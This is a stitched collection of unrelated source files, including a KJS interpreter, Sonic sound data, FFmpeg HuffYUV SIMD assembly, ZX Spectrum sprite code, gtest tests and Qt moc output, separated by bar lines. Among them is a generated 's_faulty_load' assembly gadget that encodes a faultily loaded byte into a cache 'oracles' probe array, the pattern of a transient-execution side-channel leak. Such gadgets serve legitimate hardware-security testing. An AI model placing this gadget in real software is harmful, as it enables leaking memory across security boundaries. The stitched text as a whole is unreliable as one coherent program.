void Interpreter::finalCheck()
{
fprintf(stderr, "Interpreter::finalCheck()\n");
Collector::collect();
// Node::finalCheck();
Collector::finalCheck();
}
#endif
static bool printExceptions = false;
bool Interpreter::shouldPrintExceptions()
{
return printExceptions;
}
void Interpreter::setShouldPrintExceptions(bool print)
{
printExceptions = print;
}
void Interpreter::printException(const Completion &c, const UString &sourceURL)
{
JSLock lock;
ExecState *exec = globalExec();
CString f = sourceURL.UTF8String();
CString message = c.value()->toObject(exec)->toString(exec).UTF8String();
int line = c.value()->toObject(exec)->get(exec, "line")->toUInt32(exec);
#if PLATFORM(WIN_OS)
printf("%s line %d: %s\n", f.c_str(), line, message.c_str());
#else
printf("[%d] %s line %d: %s\n", getpid(), f.c_str(), line, message.c_str());
#endif
}
// bindings are OS X WebKit-only for now
#if USE(BINDINGS)
void *Interpreter::createLanguageInstanceForValue(ExecState *exec, int language, JSObject *value, const Bindings::RootObject *origin, const Bindings::RootObject *current)
{
return Bindings::Instance::createLanguageInstanceForValue(exec, (Bindings::Instance::BindingLanguage)language, value, origin, current);
}
#endif
void Interpreter::saveBuiltins(SavedBuiltins &builtins) const
{
if (!builtins._internal) {
builtins._internal = new SavedBuiltinsInternal;
}
builtins._internal->m_Object = m_Object;
builtins._internal->m_Function = m_Function;
builtins._internal->m_Array = m_Array;
builtins._internal->m_Boolean = m_Boolean;
builtins._internal->m_String = m_String;
builtins._internal->m_Number = m_Number;
builtins._internal->m_Date = m_Date;
builtins._internal->m_RegExp = m_RegExp;
builtins._internal->m_Error = m_Error;
builtins._internal->m_ObjectPrototype = m_ObjectPrototype;
builtins._internal->m_FunctionPrototype = m_FunctionPrototype;
builtins._internal->m_ArrayPrototype = m_ArrayPrototype;
builtins._internal->m_BooleanPrototype = m_BooleanPrototype;
builtins._internal->m_StringPrototype = m_StringPrototype;
builtins._internal->m_NumberPrototype = m_NumberPrototype;
builtins._internal->m_DatePrototype = m_DatePrototype;
builtins._internal->m_RegExpPrototype = m_RegExpPrototype;
builtins._internal->m_ErrorPrototype = m_ErrorPrototype;
builtins._internal->m_EvalError = m_EvalError;
builtins._internal->m_RangeError = m_RangeError;
builtins._internal->m_ReferenceError = m_ReferenceError;
builtins._internal->m_SyntaxError = m_SyntaxError;
builtins._internal->m_TypeError = m_TypeError;
builtins._internal->m_UriError = m_UriError;
builtins._internal->m_EvalErrorPrototype = m_EvalErrorPrototype;
builtins._internal->m_RangeErrorPrototype = m_RangeErrorPrototype;
builtins._internal->m_ReferenceErrorPrototype = m_ReferenceErrorPrototype;
builtins._internal->m_SyntaxErrorPrototype = m_SyntaxErrorPrototype;
builtins._internal->m_TypeErrorPrototype = m_TypeErrorPrototype;
builtins._internal->m_UriErrorPrototype = m_UriErrorPrototype;
}
void Interpreter::restoreBuiltins(const SavedBuiltins &builtins)
{
if (!builtins._internal) {
return;
}
m_Object = builtins._internal->m_Object;
m_Function = builtins._internal->m_Function;
m_Array = builtins._internal->m_Array;
m_Boolean = builtins._internal->m_Boolean;
m_String = builtins._internal->m_String;
m_Number = builtins._internal->m_Number;
m_Date = builtins._internal->m_Date;
m_RegExp = builtins._internal->m_RegExp;
m_Error = builtins._internal->m_Error;
m_ObjectPrototype = builtins._internal->m_ObjectPrototype;
m_FunctionPrototype = builtins._internal->m_FunctionPrototype;
m_ArrayPrototype = builtins._internal->m_ArrayPrototype;
m_BooleanPrototype = builtins._internal->m_BooleanPrototype;
m_StringPrototype = builtins._internal->m_StringPrototype;
m_NumberPrototype = builtins._internal->m_NumberPrototype;
m_DatePrototype = builtins._internal->m_DatePrototype;
m_RegExpPrototype = builtins._internal->m_RegExpPrototype;
m_ErrorPrototype = builtins._internal->m_ErrorPrototype;
m_EvalError = builtins._internal->m_EvalError;
m_RangeError = builtins._internal->m_RangeError;
m_ReferenceError = builtins._internal->m_ReferenceError;
m_SyntaxError = builtins._internal->m_SyntaxError;
m_TypeError = builtins._internal->m_TypeError;
m_UriError = builtins._internal->m_UriError;
m_EvalErrorPrototype = builtins._internal->m_EvalErrorPrototype;
m_RangeErrorPrototype = builtins._internal->m_RangeErrorPrototype;
m_ReferenceErrorPrototype = builtins._internal->m_ReferenceErrorPrototype;
m_SyntaxErrorPrototype = builtins._internal->m_SyntaxErrorPrototype;
m_TypeErrorPrototype = builtins._internal->m_TypeErrorPrototype;
m_UriErrorPrototype = builtins._internal->m_UriErrorPrototype;
}
void Interpreter::startTimeoutCheck()
{
if (!m_timeoutChecker) {
m_timeoutChecker = new TimeoutChecker;
}
m_timeoutChecker->startTimeoutCheck(this);
}
void Interpreter::stopTimeoutCheck()
{
ASSERT(m_timeoutChecker);
m_timeoutChecker->stopTimeoutCheck(this);
}
void Interpreter::restartTimeoutCheck()
{
if (!m_timeoutChecker || !m_startTimeoutCheckCount) {
return;
}
m_timedOut = false;
m_timeoutChecker->stopTimeoutCheck(this);
m_timeoutChecker->startTimeoutCheck(this);
}
void Interpreter::pauseTimeoutCheck()
{
ASSERT(m_timeoutChecker);
m_timeoutChecker->pauseTimeoutCheck(this);
}
void Interpreter::resumeTimeoutCheck()
{
ASSERT(m_timeoutChecker);
m_timeoutChecker->resumeTimeoutCheck(this);
}
bool Interpreter::handleTimeout()
{
m_timedOut = false;
pauseTimeoutCheck();
bool retval = shouldInterruptScript();
resumeTimeoutCheck();
return retval;
}
Interpreter::InternedStringsTable *Interpreter::s_internedStrings;
void Interpreter::initInternedStringsTable()
{
if (!s_internedStrings) {
s_internedStrings = new InternedStringsTable();
}
}
StringImp *Interpreter::internString(const UString &literal)
{
InternedStringsTable::iterator i = s_internedStrings->find(literal.rep());
if (i == s_internedStrings->end()) {
// Need to add. Note: we can't use ->add() above to avoid a double-hash
// as creation of a StringImp may cause a GC, which in turn may
// rearrange the hashtable, invalidating the iterator.
StringImp *si = static_cast<StringImp *>(jsOwnedString(literal));
s_internedStrings->add(literal.rep(), std::make_pair(si, 1));
return si;
} else {
++i.values()->second; // just bump the ref count
return i.values()->first;
}
}
void Interpreter::releaseInternedString(const UString &literal)
{
InternedStringsTable::iterator i = s_internedStrings->find(literal.rep());
--i.values()->second;
if (i.values()->second == 0) {
s_internedStrings->remove(i);
}
}
void Interpreter::markInternedStringsTable()
{
for (InternedStringsTable::iterator i = s_internedStrings->begin();
i != s_internedStrings->end(); ++i) {
// Note: the StringImp* may be null here if we got called in the middle
// of internString.
if (i.values()->first && !i.values()->first->marked()) {
i.values()->first->mark();
}
}
}
SavedBuiltins::SavedBuiltins() :
_internal(nullptr)
{
}
SavedBuiltins::~SavedBuiltins()
{
delete _internal;
}
UnicodeSupport::UnicodeSupport()
{
}
void UnicodeSupport::setIdentStartChecker(bool (*f)(int c))
{
Lexer::setIdentStartChecker(f);
}
void UnicodeSupport::setIdentPartChecker(bool (*f)(int c))
{
Lexer::setIdentPartChecker(f);
}
void UnicodeSupport::setToLowerFunction(StringConversionFunction f)
{
StringProtoFunc::setToLowerFunction(f);
}
void UnicodeSupport::setToUpperFunction(StringConversionFunction f)
{
StringProtoFunc::setToUpperFunction(f);
}
}
|
Sound58_BonusBumper_Header:
smpsHeaderStartSong 2
smpsHeaderVoice Sound58_BonusBumper_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound58_BonusBumper_FM5, $00, $07
; FM5 Data
Sound58_BonusBumper_FM5:
smpsSetvoice $00
dc.b nD4, $06, nD4, $15
smpsStop
Sound58_BonusBumper_Voices:
; Voice $00
; $3C
; $05, $01, $0A, $01, $56, $5C, $5C, $5C, $0E, $11, $11, $11
; $09, $0A, $06, $0A, $4F, $3F, $3F, $3F, $17, $80, $20, $80
smpsVcAlgorithm $04
smpsVcFeedback $07
smpsVcUnusedBits $00
smpsVcDetune $00, $00, $00, $00
smpsVcCoarseFreq $01, $0A, $01, $05
smpsVcRateScale $01, $01, $01, $01
smpsVcAttackRate $1C, $1C, $1C, $16
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $11, $11, $11, $0E
smpsVcDecayRate2 $0A, $06, $0A, $09
smpsVcDecayLevel $03, $03, $03, $04
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $20, $00, $17
|
extern scanf
extern printf
section .data
tablica TIMES 20 dd 0
napis db "Podaj liczbę: ",0
format db "%d",0
temp dd 0
licznik dd 10
napis2 db "Wprowadzone liczby to:",0
format2 db " %d,",0
endl db 10,0
section .text
global main
main:
mov ebx, 0
_petla:
xor rax, rax
mov rdi, napis
call printf
xor rax, rax
mov rdi, format
mov rsi, temp
call scanf
mov r8d, [temp]
mov dword [tablica+4*ebx+4], r8d
inc ebx
cmp ebx, [licznik]
jb _petla
mov rbx, 0
xor rax, rax
mov rdi, napis2
call printf
_wyswietlanie:
xor rax, rax
mov rdi, format2
mov rsi, [tablica+4*ebx+4]
call printf
inc ebx
cmp ebx, [licznik]
jb _wyswietlanie
_ostatnia:
xor rax, rax
mov rdi, endl
call printf
mov rax, 1
mov rbx, 0
int 80h
|
#include "../resample.h"
#include <gtest/gtest.h>
TEST(DownSampling, Constant) {
auto storage = new chunked_voxel_storage<bit_t>(0., 0., 0., 0.1, 100, 100, 100, 32);
storage->create_constant(make_vec<size_t>(0U,0U,0U), 1);
auto result = resampler(-4)(storage);
ASSERT_EQ(storage->count(), result->count() * 4 * 4 * 4);
}
TEST(UpSampling, Constant) {
auto storage = new chunked_voxel_storage<bit_t>(0., 0., 0., 0.1, 100, 100, 100, 32);
storage->create_constant(make_vec<size_t>(0U,0U,0U), 1);
auto result = (chunked_voxel_storage<bit_t>*) resampler(+2)(storage);
BEGIN_LOOP(size_t(0), 2U, 0U, 2U, 0U, 2U)
ASSERT_TRUE(result->get_chunk(ijk)->is_constant());
END_LOOP;
}
TEST(UpSampling, Plane) {
auto storage = new chunked_voxel_storage<bit_t>(0., 0., 0., 0.1, 100, 100, 100, 32);
// Z=20
storage->create_plane_primitive(make_vec<size_t>(0U,0U,0U), 2, 20);
auto result = (chunked_voxel_storage<bit_t>*) resampler(+2)(storage);
ASSERT_TRUE(result->get_chunk(make_vec<size_t>(0U, 0U, 0U)) == nullptr);
ASSERT_FALSE(result->get_chunk(make_vec<size_t>(0U, 0U, 1U))->is_explicit());
// Z = (20 * 2) % 32 = 8
ASSERT_TRUE(result->get_chunk(make_vec<size_t>(0U, 0U, 1U))->Get(make_vec<size_t>(0U, 0U, 8U)));
}
TEST(UpSampling, Continuous) {
auto storage = new chunked_voxel_storage<bit_t>(0., 0., 0., 0.1, 100, 100, 100, 32);
storage->Set(make_vec<size_t>(1U,1U,1U ));
auto result = (chunked_voxel_storage<bit_t>*) resampler(+2)(storage);
ASSERT_FALSE(result->Get(make_vec<size_t>(1U, 1U, 1U )));
ASSERT_TRUE(result->Get(make_vec<size_t>(2U, 2U, 2U )));
ASSERT_TRUE(result->Get(make_vec<size_t>(3U, 3U, 3U )));
ASSERT_FALSE(result->Get(make_vec<size_t>(4U, 4U, 4U )));
}
|
; void __CALLEE__ sp1_MoveSprAbs_callee(struct sp1_ss *s, struct sp1_Rect *clip, uchar *frame, uchar row, uchar col, uchar vrot, uchar hrot)
; 04.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
; *** PLEASE HELP ME I'VE BEEN MADE UGLY BY BUGFIXES
PUBLIC sp1_MoveSprAbs_callee
PUBLIC ASMDISP_SP1_MOVESPRABS_CALLEE
EXTERN sp1_GetUpdateStruct_callee
EXTERN ASMDISP_SP1_GETUPDATESTRUCT_CALLEE
EXTERN SP1V_ROTTBL, SP1V_DISPWIDTH, SP1V_UPDATELISTT
EXTERN SP1AddSprChar, SP1RemoveSprChar
.sp1_MoveSprAbs_callee
pop af
pop de
pop bc
ld b,e
pop de
pop hl
ld d,l
pop hl
pop iy
pop ix
push af
.asmentry
; enter: ix = & struct sp1_ss
; hl = sprite frame address (0 = no change)
; d = new row coord in chars
; e = new col coord in chars
; b = new horizontal rotation (0..7) ie horizontal pixel position
; c = new vertical rotation (0..7) ie vertical pixel position
; iy = clipping rectangle entirely on screen
; (iy+0) = row, (iy+1) = col, (iy+2) = width, (iy+3) = height
; uses : all except ix, iy which remain unchanged
.SP1MoveSprAbs
ld (ix+5),b ; store new horizontal rotation
ld a,b
cp (ix+17) ; decide if last col should draw, result in b
rl b
add a,a
add a,SP1V_ROTTBL/256
ld (ix+9),a ; store effective horizontal rotation (MSB of lookup table to use)
xor a
sub c ; a = - (vertical rotation in pixels)
bit 7,(ix+4)
jp z, onebytedef
sub c ; a = - 2*(vertical rotation) for 2-byte definitions
set 7,c
.onebytedef
ld (ix+4),c ; store new vertical rotation
ld c,a ; c = vertical rotation offset for graphics ptrs
ld a,(ix+4) ; decide if last row should draw
and $07
cp (ix+18)
ld a,b
rla
ex af,af
ld a,h
or l
jr nz, newframe
ld l,(ix+6)
ld h,(ix+7) ; hl = old sprite frame pointer
jp framerejoin
.newframe
ld (ix+6),l
ld (ix+7),h ; store new frame pointer
.framerejoin
ld a,c
or a
jr z, skipadj
ld b,$ff ; bc = negative vertical rotation offset
add hl,bc ; add vertical rotation offset
.skipadj
ld (ix+11),l
ld (ix+12),h ; store new effective offset for graphics pointers
; d = new row coord (chars)
; e = new col coord (chars)
; ix = & struct sp1_ss
; iy = clipping rectangle
; a' = bit 0 = 1 if last row should not draw, bit 1 = 1 if last col should not draw
;
; 329 cycles to this point worst case
ld (ix+19),0
ld a,(ix+0) ; has the row coord changed?
cp d
jp nz, changing0
ld a,(ix+1) ; has the col coord changed?
cp e
jp nz, changing1
; not changing character coordinate, no need to remove sprite from update struct lists
; /////////////////////////////////////////////////////////////////////////////////
; MOVE SPRITE, CHARACTER COORDINATES NOT CHANGING
; /////////////////////////////////////////////////////////////////////////////////
ld h,(ix+15)
ld l,(ix+16)
push de
exx
pop de
ld hl,(SP1V_UPDATELISTT)
ld bc,6
add hl,bc
push hl
call sp1_GetUpdateStruct_callee + ASMDISP_SP1_GETUPDATESTRUCT_CALLEE
ld b,(ix+0)
pop de
push hl
push de
; b = row coord
; c = col coord (in column loop)
; hl = struct sp1_update
; hl'= & struct sp1_cs
; a' = bit 0 = 1 if last row should not draw, bit 1 = 1 if last col should not draw
; iy = & clipping rectangle
; ix = & struct sp1_ss
; stack = & struct sp1_update.ulist (tail of invalidated list), row
INCLUDE "./spectrum/sprites/MoveNC.asm"
.done
exx
ld de,-6
add hl,de ; hl = & last struct sp1_update.ulist in invalidated list
ld (SP1V_UPDATELISTT),hl
ret
; changing character coordinate, must remove and place sprite in update struct lists
; /////////////////////////////////////////////////////////////////////////////////
; MOVE SPRITE, CHANGING CHARACTER COORDINATES
; /////////////////////////////////////////////////////////////////////////////////
.changing0
ld (ix+0),d ; write new row coord
.changing1
ld (ix+1),e ; write new col coord
; d = new row coord (chars)
; e = new col coord (chars)
; ix = & struct sp1_ss
; iy = & clipping rectangle
; a' = bit 0 = 1 if last row should not draw, bit 1 = 1 if last col should not draw
ld h,(ix+15)
ld l,(ix+16)
push de
exx
pop de
ld hl,(SP1V_UPDATELISTT)
ld bc,6
add hl,bc
push hl
call sp1_GetUpdateStruct_callee + ASMDISP_SP1_GETUPDATESTRUCT_CALLEE
ld b,(ix+0)
pop de
push hl
push de
; b = row coord
; c = col coord (in column loop)
; hl = struct sp1_update
; hl'= & struct sp1_cs
; a' = bit 0 = 1 if last row should not draw, bit 1 = 1 if last col should not draw
; iy = & clipping rectangle
; ix = & struct sp1_ss
; stack = & struct sp1_update.ulist (tail of invalidated list), row
INCLUDE "./spectrum/sprites/MoveC.asm"
; jumps to done for exit inside INCLUDE
DEFC ASMDISP_SP1_MOVESPRABS_CALLEE = # asmentry - sp1_MoveSprAbs_callee
|
;************************************************************************
;* SIMD-optimized HuffYUV encoding functions
;* Copyright (c) 2000, 2001 Fabrice Bellard
;* Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at>
;*
;* MMX optimization by Nick Kurshev <nickols_k@mail.ru>
;* Conversion to NASM format by Tiancheng "Timothy" Gu <timothygu99@gmail.com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* 51, Inc., Foundation Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION .text
; void ff_diff_int16(uint8_t *dst, const uint8_t *src1, const uint8_t *src2,
; unsigned mask, int w);
%macro INT16_LOOP 2 ; %1 = a/u (aligned/unaligned), %2 = add/sub
movd m4, maskd
SPLATW m4, m4
add wd, wd
test wq, 2*mmsize - 1
jz %%.tomainloop
push tmpq
%%.wordloop:
sub wq, 2
%ifidn %2, add
mov tmpw, [srcq+wq]
add tmpw, [dstq+wq]
%else
mov tmpw, [src1q+wq]
sub tmpw, [src2q+wq]
%endif
and tmpw, maskw
mov [dstq+wq], tmpw
test wq, 2*mmsize - 1
jnz %%.wordloop
pop tmpq
%%.tomainloop:
%ifidn %2, add
add srcq, wq
%else
add src1q, wq
add src2q, wq
%endif
add dstq, wq
neg wq
jz %%.end
%%.loop:
%ifidn %2, add
mov%1 m0, [srcq+wq]
mov%1 m1, [dstq+wq]
mov%1 m2, [srcq+wq+mmsize]
mov%1 m3, [dstq+wq+mmsize]
%else
mov%1 m0, [src1q+wq]
mov%1 m1, [src2q+wq]
mov%1 m2, [src1q+wq+mmsize]
mov%1 m3, [src2q+wq+mmsize]
%endif
p%2w m0, m1
p%2w m2, m3
pand m0, m4
pand m2, m4
mov%1 [dstq+wq] , m0
mov%1 [dstq+wq+mmsize], m2
add wq, 2*mmsize
jl %%.loop
%%.end:
RET
%endmacro
%if ARCH_X86_32
INIT_MMX mmx
cglobal diff_int16, 5,5,5, dst, src1, src2, mask, w, tmp
INT16_LOOP a, sub
%endif
INIT_XMM sse2
cglobal diff_int16, 5,5,5, dst, src1, src2, mask, w, tmp
test src1q, mmsize-1
jnz .unaligned
test src2q, mmsize-1
jnz .unaligned
test dstq, mmsize-1
jnz .unaligned
INT16_LOOP a, sub
.unaligned:
INT16_LOOP u, sub
INIT_MMX mmxext
cglobal sub_hfyu_median_pred_int16, 7,7,0, dst, src1, src2, mask, w, left, left_top
add wd, wd
movd mm7, maskd
SPLATW mm7, mm7
movq mm0, [src1q]
movq mm2, [src2q]
psllq mm0, 16
psllq mm2, 16
movd mm6, [left_topq]
por mm0, mm6
movd mm6, [leftq]
por mm2, mm6
xor maskq, maskq
.loop:
movq mm1, [src1q + maskq]
movq mm3, [src2q + maskq]
movq mm4, mm2
psubw mm2, mm0
paddw mm2, mm1
pand mm2, mm7
movq mm5, mm4
pmaxsw mm4, mm1
pminsw mm1, mm5
pminsw mm4, mm2
pmaxsw mm4, mm1
psubw mm3, mm4
pand mm3, mm7
movq [dstq + maskq], mm3
add maskq, 8
movq mm0, [src1q + maskq - 2]
movq mm2, [src2q + maskq - 2]
cmp maskq, wq
jb .loop
movzx maskd, word [src1q + wq - 2]
mov [left_topq], maskd
movzx maskd, word [src2q + wq - 2]
mov [leftq], maskd
RET
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %rax
push %rcx
push %rsi
// Store
lea addresses_A+0x1c15b, %r11
sub $23242, %rax
movl $0x51525354, (%r11)
cmp %rsi, %rsi
// Faulty Load
lea addresses_US+0x145b, %r10
nop
sub %r15, %r15
movups (%r10), %xmm3
vpextrq $0, %xmm3, %rcx
lea oracles, %r10
and $0xff, %rcx
shlq $12, %rcx
mov (%r10,%rcx,1), %rcx
pop %rsi
pop %rcx
pop %rax
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': True, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;
; Copyright (C) 2007-2012 Intel Corporation.
; SPDX-License-Identifier: MIT
;
PUBLIC ReadFlags_asm
.686
.model flat, c
.code
ReadFlags_asm PROC
pushfd
pop eax
ret
ReadFlags_asm ENDP
end |
; A188341: Numbers having no 0's and not more than one 1 in their representation in base 3.
; Submitted by Jamie Morken(s1)
; 1,2,5,7,8,17,23,25,26,53,71,77,79,80,161,215,233,239,241,242,485,647,701,719,725,727,728,1457,1943,2105,2159,2177,2183,2185,2186,4373,5831,6317,6479,6533,6551,6557,6559,6560,13121,17495,18953,19439,19601,19655,19673,19679,19681,19682,39365,52487,56861,58319,58805,58967,59021,59039,59045,59047,59048,118097,157463,170585,174959,176417,176903,177065,177119,177137,177143,177145,177146,354293,472391,511757,524879,529253,530711,531197,531359,531413,531431,531437,531439,531440,1062881,1417175,1535273
add $0,1
seq $0,44966 ; Numbers having no 0's and one 1 in base 3.
div $0,3
|
LN_NAMESPACE_BEGIN
//-------------------------------------------------------------------------
//
//-------------------------------------------------------------------------
inline bool Matrix::IsIdentity() const
{
return (memcmp(this, &Matrix::Identity, sizeof(Matrix)) == 0);
}
//-------------------------------------------------------------------------
//
//-------------------------------------------------------------------------
inline const Vector3& Matrix::GetRight() const
{
return (Vector3&)m[0][0];
}
//-------------------------------------------------------------------------
//
//-------------------------------------------------------------------------
inline const Vector3& Matrix::GetUp() const
{
return (Vector3&)m[1][0];
}
//-------------------------------------------------------------------------
//
//-------------------------------------------------------------------------
inline const Vector3& Matrix::GetFront() const
{
return (Vector3&)m[2][0];
}
//-------------------------------------------------------------------------
//
//-------------------------------------------------------------------------
inline const Vector3& Matrix::GetPosition() const
{
return (Vector3&)m[3][0];
}
//-------------------------------------------------------------------------
//
//-------------------------------------------------------------------------
inline void Matrix::SetRow(int index, const Vector4& row)
{
((Vector4&)m[index][0]) = row;
}
//-------------------------------------------------------------------------
//
//-------------------------------------------------------------------------
inline const Vector4& Matrix::GetRow(int index) const
{
return (Vector4&)m[index][0];
}
LN_NAMESPACE_END
|
/****************************************************************************
** Meta object code from reading C++ file 'EnterpriseAccountListItem.h'
**
** Created by: The Qt Meta Object Compiler version 67 (Qt 5.14.2)
**
** WARNING! All changes made in this file will be lost!
*****************************************************************************/
#include <memory>
#include "../../mainwindow/contact/friend/EnterpriseAccountListItem.h"
#include <QtCore/qbytearray.h>
#include <QtCore/qmetatype.h>
#if !defined(Q_MOC_OUTPUT_REVISION)
#error "The header file 'EnterpriseAccountListItem.h' doesn't include <QObject>."
#elif Q_MOC_OUTPUT_REVISION != 67
#error "This file was generated using the moc from 5.14.2. It"
#error "cannot be used with the include files from this version of Qt."
#error "(The moc has changed too much.)"
#endif
QT_BEGIN_MOC_NAMESPACE
QT_WARNING_PUSH
QT_WARNING_DISABLE_DEPRECATED
struct qt_meta_stringdata_ui__EnterpriseAccountListItem_t {
QByteArrayData data[5];
char stringdata0[64];
};
#define QT_MOC_LITERAL(idx, ofs, len) \
Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \
qptrdiff(offsetof(qt_meta_stringdata_ui__EnterpriseAccountListItem_t, stringdata0) + ofs \
- idx * sizeof(QByteArrayData)) \
)
static const qt_meta_stringdata_ui__EnterpriseAccountListItem_t qt_meta_stringdata_ui__EnterpriseAccountListItem = {
{
QT_MOC_LITERAL(0, 0, 29), // "ui::EnterpriseAccountListItem"
QT_MOC_LITERAL(1, 30, 18), // "showGroupInforPage"
QT_MOC_LITERAL(2, 49, 0), // ""
QT_MOC_LITERAL(3, 50, 5), // "int64"
QT_MOC_LITERAL(4, 56, 7) // "groupId"
},
"ui::EnterpriseAccountListItem\0"
"showGroupInforPage\0\0int64\0groupId"
};
#undef QT_MOC_LITERAL
static const uint qt_meta_data_ui__EnterpriseAccountListItem[] = {
// content:
8, // revision
0, // classname
0, 0, // classinfo
1, 14, // methods
0, 0, // properties
0, 0, // enums/sets
0, 0, // constructors
0, // flags
1, // signalCount
// signals: name, argc, parameters, tag, flags
1, 1, 19, 2, 0x06 /* Public */,
// signals: parameters
QMetaType::Void, 0x80000000 | 3, 4,
0 // eod
};
void ui::EnterpriseAccountListItem::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a)
{
if (_c == QMetaObject::InvokeMetaMethod) {
auto *_t = static_cast<EnterpriseAccountListItem *>(_o);
Q_UNUSED(_t)
switch (_id) {
case 0: _t->showGroupInforPage((*reinterpret_cast< int64(*)>(_a[1]))); break;
default: ;
}
} else if (_c == QMetaObject::IndexOfMethod) {
int *result = reinterpret_cast<int *>(_a[0]);
{
using _t = void (EnterpriseAccountListItem::*)(int64 );
if (*reinterpret_cast<_t *>(_a[1]) == static_cast<_t>(&EnterpriseAccountListItem::showGroupInforPage)) {
*result = 0;
return;
}
}
}
}
QT_INIT_METAOBJECT const QMetaObject ui::EnterpriseAccountListItem::staticMetaObject = { {
QMetaObject::SuperData::link<TWidget::staticMetaObject>(),
qt_meta_stringdata_ui__EnterpriseAccountListItem.data,
qt_meta_data_ui__EnterpriseAccountListItem,
qt_static_metacall,
nullptr,
nullptr
} };
